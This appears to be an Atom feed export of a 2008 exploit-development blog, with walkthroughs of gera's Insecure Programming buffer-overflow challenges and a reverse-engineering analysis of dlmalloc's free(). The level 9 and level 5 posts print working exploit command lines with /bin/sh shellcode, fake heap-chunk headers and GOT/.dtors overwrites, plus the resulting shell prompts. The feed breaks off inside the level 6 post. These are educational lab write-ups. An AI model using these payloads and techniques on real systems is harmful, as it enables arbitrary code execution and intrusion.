<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7445701319591354935</id><updated>2011-04-22T00:12:13.331+02:00</updated><category term='reversing'/><category term='linux'/><category term='vulnerability research'/><category term='challenges'/><category term='openbsd'/><category term='dlmalloc'/><category term='gdb'/><category term='heap'/><category term='python'/><category term='morenops'/><category term='books'/><category term='security'/><category term='community'/><category term='genesis'/><category term='review'/><category term='gera'/><category term='exploit development'/><category term='exploit'/><title type='text'>add more NOPs!</title><subtitle type='html'>Guess what the color of the pill I took was...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-1648950626997037278</id><published>2008-10-20T17:36:00.004+02:00</published><updated>2008-10-20T17:42:41.947+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='morenops'/><category scheme='http://www.blogger.com/atom/ns#' term='community'/><title type='text'>We'Re Moving!</title><content type='html'>That's right, after some successful feedback from some readers (it meant a lot, thank you guys) and in order to provide a richer knowledge sharing experience I decided to upgrade MoreNops to a full-blown domain known from now on as &lt;a href="http://www.morenops.com/"&gt;www.morenops.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;As I already mention in the &lt;a href="http://www.morenops.com/?p=70"&gt;new site&lt;/a&gt;, I've moved all the content already available here to the new site to avoid cross-site referencing issues but I'll leave this site online and with all the content just in case someone drops by following some cached content from sites like Google and such; anyway be advised that this site will no longer be updated.&lt;br /&gt;&lt;br /&gt;I encourage you to update your bookmark (If you where one of the few that had one) and grant a warm welcome to the new &lt;a href="http://www.morenops.com/"&gt;MoreNops&lt;/a&gt;, now gone 2.0!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-1648950626997037278?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/1648950626997037278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=1648950626997037278' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/1648950626997037278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/1648950626997037278'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/10/were-moving.html' title='We&apos;Re Moving!'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-5153409622916784750</id><published>2008-10-19T15:08:00.058+02:00</published><updated>2008-10-19T16:19:56.223+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='gera'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>Advanced Buffer Overflows: Defeating #9</title><content type='html'>After the fun-and-go! session in the &lt;a href="http://morenops.blogspot.com/2008/10/fandango-on-free.html"&gt;previous post&lt;/a&gt; it didn't take too long to create a exploit for this kind of situation. Today I present the solution for the 9th level of the &lt;a href="http://community.core-sdi.com/%7Egera/InsecureProgramming/"&gt;Advanced Buffer Overflows&lt;/a&gt; challenge which deals with &lt;span style="color: rgb(153, 0, 0);"&gt;free()&lt;/span&gt; and a &lt;span style="color: rgb(51, 51, 255);"&gt;dlmalloc&lt;/span&gt; implementation. First of all, lets take a look at the C source:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color: rgb(16, 128, 16);"&gt;&lt;span style="color: rgb(0, 0, 0); font-family: arial;font-family:arial;font-size:130%;"  &gt;int main(int argv,char **argc) {&lt;br /&gt;char *pbuf1=(char*)malloc(256);&lt;br /&gt;char *pbuf2=(char*)malloc(256);&lt;br /&gt;&lt;br /&gt;gets(pbuf1);&lt;br /&gt;free(pbuf2);&lt;br /&gt;free(pbuf1);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;In my particular case I changed &lt;span style="color: rgb(153, 0, 0);"&gt;gets()&lt;/span&gt; for &lt;span style="color: rgb(153, 0, 0);"&gt;strpy()&lt;/span&gt; using the call parameters as input vector to ease data input and exploitment, which doesn't alter the bug in any way. This level is textbook example of a Heap Buffer Overflow situation in which we fool the implementation and the &lt;span style="color: rgb(51, 51, 255);"&gt;unlink()&lt;/span&gt; macro to overwrite arbitrary bytes in memory.&lt;br /&gt;&lt;br /&gt;As explained in our last post, we need to create a fake chunk header in one of our buffers and fool &lt;span style="color: rgb(153, 0, 0);"&gt;free()&lt;/span&gt; to &lt;span style="color: rgb(51, 51, 255);"&gt;unlink()&lt;/span&gt; it. For this purpose we will overwrite the chunk header of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt; so that calculations will lead the implementation to our fake chunk header. We will overwrite the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; field so that when &lt;span style="color: rgb(153, 0, 0);"&gt;_int_free()&lt;/span&gt; calculates the address of the previous chunk, it gets to our fake chunk header. Instead of making a step-by-step debugging session, I will explain the key instructions where data flow gets manipulated. Remember you can grab the disassembly &lt;a href="http://pastebin.com/f364e3542"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;First let's begin by showing how the call will be so that we can identify the data we're analizing. Note in this call that the sub-sequence in blue is where our overflow begins and this 8 bytes will eventually fill the chunk header for &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;[infi@localhost insecure]$ ./abo9 `python -c 'print "\xeb\x0e"+"A"*14+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*188+"\xff\xff\xff\xff"+"A"*8+&lt;span style="color: rgb(51, 51, 255);"&gt;"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"&lt;/span&gt;+"\xff\xff\xff\xff"*2+&lt;span style="color: rgb(153, 0, 0);"&gt;"\x9c\x95\x04\x08"+"\x08\x96\x04\x08"&lt;/span&gt;'`&lt;br /&gt;sh-2.05b$&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In &lt;span style="color: rgb(153, 0, 0);"&gt;0x4207446b&lt;/span&gt; the address of &lt;span style="color: rgb(51, 51, 255);"&gt;\xf8\xff\xff\xff&lt;/span&gt; gets loaded into &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; and right after that &lt;span style="color: rgb(51, 51, 255);"&gt;\xf0\xff\xff\xff&lt;/span&gt; is copied into &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt;. At address &lt;span style="color: rgb(153, 0, 0);"&gt;0x42074477&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt; is copied into &lt;span style="color: rgb(51, 51, 255);"&gt;esi&lt;/span&gt;. One of the critical points comes in &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744ad&lt;/span&gt; because &lt;span style="color: rgb(51, 51, 255);"&gt;esi&lt;/span&gt;=0xfffffff0 and &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt;=0x08049708 get added and the result is stored in eax, which now contains &lt;span style="color: rgb(153, 0, 0);"&gt;0x08049718&lt;/span&gt;; the theoretical start address of our fake chunk where the theoretical &lt;span style="color: rgb(153, 0, 0);"&gt;fd&lt;/span&gt; and &lt;span style="color: rgb(153, 0, 0);"&gt;bk&lt;/span&gt; pointers are (in red in the call sequence).&lt;br /&gt;&lt;br /&gt;Anyway all of that is there just to success some checks, the real magic begins now. At &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744c8&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;edi&lt;/span&gt;-8 (the address of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;) will be stored in &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt;, thus saving the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; field of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;'s chunk header in it. In the next instruction and remembering that &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; holds the address of the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;, &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; = &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; - &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt; is executed. Now remember that we manipulated the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt; to read 0xfffffff8 (-8)&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;/span&gt;, so this will effectively makes &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; point to an address inside &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;, which we can manipulate due to the overflow. &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; now points into &lt;span style="color: rgb(153, 0, 0);"&gt;0x08049710&lt;/span&gt;, the chunk header of our fake chunk. Since the first 8 bytes of this "unused" buffer are &lt;span style="color: rgb(153, 0, 0);"&gt;fd&lt;/span&gt; and &lt;span style="color: rgb(153, 0, 0);"&gt;bk&lt;/span&gt; pointers our job is kindly completed by &lt;span style="color: rgb(51, 51, 255);"&gt;unlink() &lt;/span&gt;which using offsets 0x8 and 0xc will write &lt;span style="color: rgb(153, 0, 0);"&gt;0x08049608&lt;/span&gt; (address of our shellcode, stored in buf1 itself) in &lt;span style="color: rgb(153, 0, 0);"&gt;0x0804959c&lt;/span&gt;+12=&lt;span style="color: rgb(153, 0, 0);"&gt;0x080495a8&lt;/span&gt; (address of free@GOT).&lt;br /&gt;&lt;br /&gt;That's basically it but a couple of notes here. First of all, shellcode+8 will get clobbered by &lt;span style="color: rgb(153, 0, 0);"&gt;0x0804959c&lt;/span&gt; , thats how &lt;span style="color: rgb(51, 51, 255);"&gt;unlink()&lt;/span&gt; works. To make the shellcode work properly, we place a unconditional jump in the beginning and jump over the clobbered area, thats why we include &lt;span style=";font-family:georgia;font-size:100%;"  &gt;"\xeb\x0e"+"A"*14&lt;/span&gt; in the beginning of the shellcode (&lt;span style="color: rgb(51, 51, 255);"&gt;eb&lt;/span&gt; is the opcode for "jmp" and 0x&lt;span style="color: rgb(51, 51, 255);"&gt;0e&lt;/span&gt;=14 is the offset). Also, we need to make sure we overwrite the GOT entry for &lt;span style="color: rgb(153, 0, 0);"&gt;free()&lt;/span&gt; because right after we trick &lt;span style="color: rgb(153, 0, 0);"&gt;free()&lt;/span&gt; into doing this, &lt;span style="color: rgb(153, 0, 0);"&gt;&lt;/span&gt;it gets called once again over &lt;span style="color: rgb(153, 0, 0);"&gt;buf1&lt;/span&gt;, and after manipulating headers this way, the program crashes with a segment violation signal.&lt;br /&gt;&lt;br /&gt;I hope this little walktrough enlightened somebody as just did with me. For any suggestion, question or whatever don't hesitate to drop a comment or write an email. See you next time and keep adding NOPs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-5153409622916784750?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/5153409622916784750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=5153409622916784750' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/5153409622916784750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/5153409622916784750'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/10/advanced-buffer-overflows-defeating-9.html' title='Advanced Buffer Overflows: Defeating #9'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-630114909192403531</id><published>2008-10-17T13:51:00.070+02:00</published><updated>2008-10-17T17:54:33.596+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dlmalloc'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><category scheme='http://www.blogger.com/atom/ns#' term='heap'/><title type='text'>Fandango on free()</title><content type='html'>I apologize for the delay in keeping this blog updated. As I was working in the solution for the 9th level of the &lt;a href="http://community.core-sdi.com/%7Egera/InsecureProgramming/"&gt;Advanced Buffer Overflows&lt;/a&gt; challenge I had some serious troubles with the different implementations of Doug Lea's Malloc (dlmalloc from now on) management system which I thought would do for a good article. Althought the solution for abo9 is in its final stages, I'll elaborate on the heap implementation this time.&lt;br /&gt;&lt;br /&gt;Lots of good articles have been already written in this subject (Which I'll link at the end of this post for anyone that's interested) but with the versions I was using in my VMs as lab I had more than one headache(In fact, vulnerable versions of glibc seem to be already patched in SuSE versions 9.X. In my case switching to Red Hat 9.0 did the job). None of the popular papers seemed to work in my case, hence, I decided to dig myself in the inner workings of this dynamic memory allocation system. Instead of explaining a C implementation I went for a Reverse Code Engineering approach which turned as follows. In this post I won't explain the inner workings of dlmalloc, that's already been nicely documented in other papers such as &lt;a href="http://www.phrack.com/issues.html?issue=57&amp;amp;id=8#article"&gt;Vudo - An object superstitiously believed to embody magical powers&lt;/a&gt; by Michel "MaXX" Kaempf, hence I'll avoid any reference to that.&lt;br /&gt;&lt;br /&gt;The function in question is &lt;span style="color: rgb(153, 0, 0);"&gt;free()&lt;/span&gt; which takes care of freeing a used chunk once we have finished our work with it. &lt;span style="color: rgb(153, 0, 0);"&gt;free()&lt;/span&gt; is actually a wrapper around &lt;span style="color: rgb(153, 0, 0);"&gt;_int_free()&lt;/span&gt; which does the real job. &lt;span style="color: rgb(153, 0, 0);"&gt;_int_free()&lt;/span&gt; makes some checks and then makes use of the &lt;span style="color: rgb(51, 51, 255);"&gt;unlink()&lt;/span&gt; macro to unlink two adjacent chunks and join them to create a larger one. You can get the interesting part of the disassembly of &lt;span style="color: rgb(153, 0, 0);"&gt;_int_free()&lt;/span&gt; &lt;a href="http://pastebin.com/f364e3542"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;At address &lt;span style="color: rgb(153, 0, 0);"&gt;0x42074464&lt;/span&gt; it loads the pointer to the chunk we want to free into the &lt;span style="color: rgb(51, 51, 255);"&gt;edi&lt;/span&gt; register. In &lt;span style="color: rgb(153, 0, 0);"&gt;0x4207446b&lt;/span&gt; loads the address of the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; field of the &lt;span style="color: rgb(51, 51, 255);"&gt;buf2&lt;/span&gt; buffer into &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt;. Right in the next intruction the contents of size field of &lt;span style="color: rgb(51, 51, 255);"&gt;buf2&lt;/span&gt; are copied into &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt;. After check int the &lt;span style="color: rgb(51, 51, 255);"&gt;arena&lt;/span&gt; struct we jump to &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744a0&lt;/span&gt; at &lt;span style="color: rgb(153, 0, 0);"&gt;0x42074481&lt;/span&gt;. In the next two instructions it checks wether or not the 2nd least significant bit of the &lt;span style="color: rgb(51, 51, 255);"&gt;size&lt;/span&gt; field is enabled and if it is(which is not our case) it jumps to another region within &lt;span style="color: rgb(153, 0, 0);"&gt;_int_free()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Now is where the fun part for exploitation begins. At &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744ad&lt;/span&gt;, we calculate the address of the next chunk using our address + the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; field of buf2 (which we can control overflowing the first &lt;span style="color: rgb(51, 51, 255);"&gt;buf1&lt;/span&gt;) and store it in &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt;, which can now contain the address of the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; of a fake chunk we can create. In the next instruction we load the &lt;span style="color: rgb(51, 51, 255);"&gt;size&lt;/span&gt; field of our fake chunk into &lt;span style="color: rgb(51, 51, 255);"&gt;edx&lt;/span&gt;. After some saving into local variables, some 8 byte boundary roundings and a &lt;span style="color: rgb(153, 0, 0);"&gt;PREV_INUSE&lt;/span&gt; checks, we arrive to &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744c8&lt;/span&gt;. Here we load in &lt;span style="color: rgb(51, 51, 255);"&gt;eax&lt;/span&gt; the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt; and in the next instruction we store in &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; the address of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;'s &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; minus the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; of &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt; itself. This hypothetically would get us the previous chunk's &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; address but since we manipulated &lt;span style="color: rgb(153, 0, 0);"&gt;buf2&lt;/span&gt;'s &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; we can make it go wherever we want.&lt;br /&gt;&lt;br /&gt;So, since &lt;span style="color: rgb(51, 51, 255);"&gt;ecx&lt;/span&gt; now points to the &lt;span style="color: rgb(51, 51, 255);"&gt;prev_size&lt;/span&gt; of our fake chunk, let's talk a little bit about the &lt;span style="color: rgb(51, 51, 255);"&gt;unlink()&lt;/span&gt; macro. This macro basically swaps the &lt;span style="color: rgb(153, 0, 0);"&gt;fd&lt;/span&gt; and &lt;span style="color: rgb(153, 0, 0);"&gt;bk&lt;/span&gt; fields of unused chunks to make the use of free space in memory more efficient and to avoid fragmentation. Being a macro as it is, is compiled inline with the rest of the code and, since doesn't provide any sanity checking it'll swap some addresses we control with information we control allowing us to overwrite 4 bytes wherever we want in memory with the information we want. You can see &lt;span style="color: rgb(51, 51, 255);"&gt;unlink()&lt;/span&gt; in action in address &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744cd&lt;/span&gt;, &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744d2&lt;/span&gt;, &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744d5&lt;/span&gt; and &lt;span style="color: rgb(153, 0, 0);"&gt;0x420744d8&lt;/span&gt;. From then on the function continues his normal path as the damage has already been done.&lt;br /&gt;&lt;br /&gt;Well that's it. I'll talk about exploitability and it's techniques in the next post. If anybody felt this was quite messy to follow I apologize; I understand it's a difficult matter (at least it was for me :P) but I hope somebody else learned something from this. I also hope I can bring a final solution for abo9 in the upcoming days. As promised I include some references to previous works in the topic here:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://doc.bughunter.net/buffer-overflow/free.html"&gt;Once upon a free()&lt;/a&gt; by Anonymous&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.phrack.com/issues.html?issue=57&amp;amp;id=8#article"&gt;Vudo - An object superstitiously believed to embody magical powers&lt;/a&gt; bt Michel "MaXX" Kaempf&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.w00w00.org/files/articles/heaptut.txt"&gt;w00w00 on Heap Overflows&lt;/a&gt; by Matt Conover and the w00w00 Security Team&lt;/li&gt;&lt;li&gt;&lt;a href="http://video.google.com/videoplay?docid=1985155227368288256"&gt;Remedial Heap Overflow&lt;/a&gt; (Video from DEFCON 15) by atlas&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-630114909192403531?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/630114909192403531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=630114909192403531' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/630114909192403531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/630114909192403531'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/10/fandango-on-free.html' title='Fandango on free()'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-2033744088189054379</id><published>2008-09-19T12:11:00.040+02:00</published><updated>2008-09-19T13:18:21.724+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='gera'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>Advanced Buffer Overflows Revolutions</title><content type='html'>It's been a long summer break since I &lt;a href="http://morenops.blogspot.com/2008/07/advanced-buffer-overflows-take-2.html"&gt;last posted&lt;/a&gt; here. I thought there would be no break this summer but after some hardcore sessions at the &lt;a href="http://www.euskal.org"&gt;Euskal Encounter 16&lt;/a&gt; I felt I needed one. Yet again, I'll cover some levels of the &lt;a href="http://community.core-sdi.com/%7Egera/InsecureProgramming/"&gt;Insecure Programming&lt;/a&gt; challenges by gera from &lt;a href="http://www.coresecurity.com/"&gt;Core SDI&lt;/a&gt;. Last time we covered levels up to 4 in the Advanced Buffer Overflows section. This time around, we'll go for the fifth and sixth levels. But first of all, a small news in the matter: Apparently levels 7 and 8 take advantage of certain setups of the different sections in memory to be able to corrupt the buffers and they need to be compiled with old versions of gcc(2.x.x), thus will not be featured here.&lt;br /&gt;&lt;br /&gt;Time for some binary fun then. Let's take a look at level 5 and see what can be done:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color:#108010;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;int main(int argv,char **argc) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char *pbuf=malloc(strlen(argc[2])+1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char buf[256];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(buf,argc[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; for (;*pbuf++=*(argc[2]++););&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; exit(1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;At first look the only thing we can overrun in this case is the &lt;span style="color: rgb(153, 0, 0);"&gt;buf&lt;/span&gt; buffer. But what can we overwrite and with what purpose? Well, &lt;span style="color: rgb(153, 0, 0);"&gt;pbuf&lt;/span&gt; pointer is right next to &lt;span style="color: rgb(153, 0, 0);"&gt;buf&lt;/span&gt; in the stack as local variable so that's clearly a target. Now that we acquired a target, what can we do with it? If we take a close look at the for sequence right after the call to &lt;span style="color: rgb(153, 0, 0);"&gt;strcpy()&lt;/span&gt; we notice that actually it's a custom implementation of a &lt;span style="color: rgb(153, 0, 0);"&gt;strcpy()&lt;/span&gt; call in which we control both parameters.&lt;br /&gt;&lt;br /&gt;The path is clear then, we'll smash the &lt;span style="color: rgb(153, 0, 0);"&gt;pbuf&lt;/span&gt; pointer so that we can write wherever we want in memory. The only thing left now is to choose what to and where to write; we have different successful choices here. We can overwrite the GOT entry for the &lt;span style="color: rgb(153, 0, 0);"&gt;exit()&lt;/span&gt; call or we can also go for the executable destructors in the &lt;span style="color: rgb(51, 51, 255);"&gt;.dtors&lt;/span&gt; section of the binary. In this particular case, I'll go for the latter because it's a route I've never took before. First we need to find the address of the particular area in the &lt;span style="color: rgb(51, 51, 255);"&gt;.dtors&lt;/span&gt; section we want to overwrite. Some research within &lt;span style="color: rgb(51, 51, 255);"&gt;gdb&lt;/span&gt; will do the job:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;0x080495fc-&gt;0x08049604 at 0x000005fc: .ctors ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;0x08049604-&gt;0x0804960c at 0x00000604: .dtors ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;0x0804960c-&gt;0x08049610 at 0x0000060c: .jcr ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;(gdb) x/x 0x08049604&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;0x8049604 &lt;__dtor_list__&gt;:      0xffffffff&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;(gdb) x/x 0x08049608&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;0x8049608 &lt;__dtor_end__&gt;:       0x00000000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Thus, the address we want overwrite is &lt;span style="color: rgb(153, 0, 0);"&gt;0x8049608&lt;/span&gt; which will become sort of a jump pad to where we want to execute. And where do we want to execute? In our shellcode, naturally. As we did in the previous solutions, we will use &lt;span style="color: rgb(51, 51, 255);"&gt;abo1exp&lt;/span&gt; and thus load the shellcode in a environment variable with a known address within memory; &lt;span style="color: rgb(51, 51, 255);"&gt;0xbfffff40&lt;/span&gt;. Here's the resulting call:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;infi@labo:~/InsecureProgramming&gt; ./abo1exp&lt;/span&gt;&lt;span style="font-family: arial;"&gt;&lt;br /&gt;infi@labo:~/InsecureProgramming&gt; ./abo5 `python -c 'print "A"*268+"\x08\x96\x04\x08"+" \x40\xff\xff\xbf"'`&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;sh-3.00$ &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now into level 6 then. This is how it looks:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="color:#108010;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;int main(int argv,char **argc) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char *pbuf=malloc(strlen(argc[2])+1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; char buf[256];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(buf,argc[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; strcpy(pbuf,argc[2]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 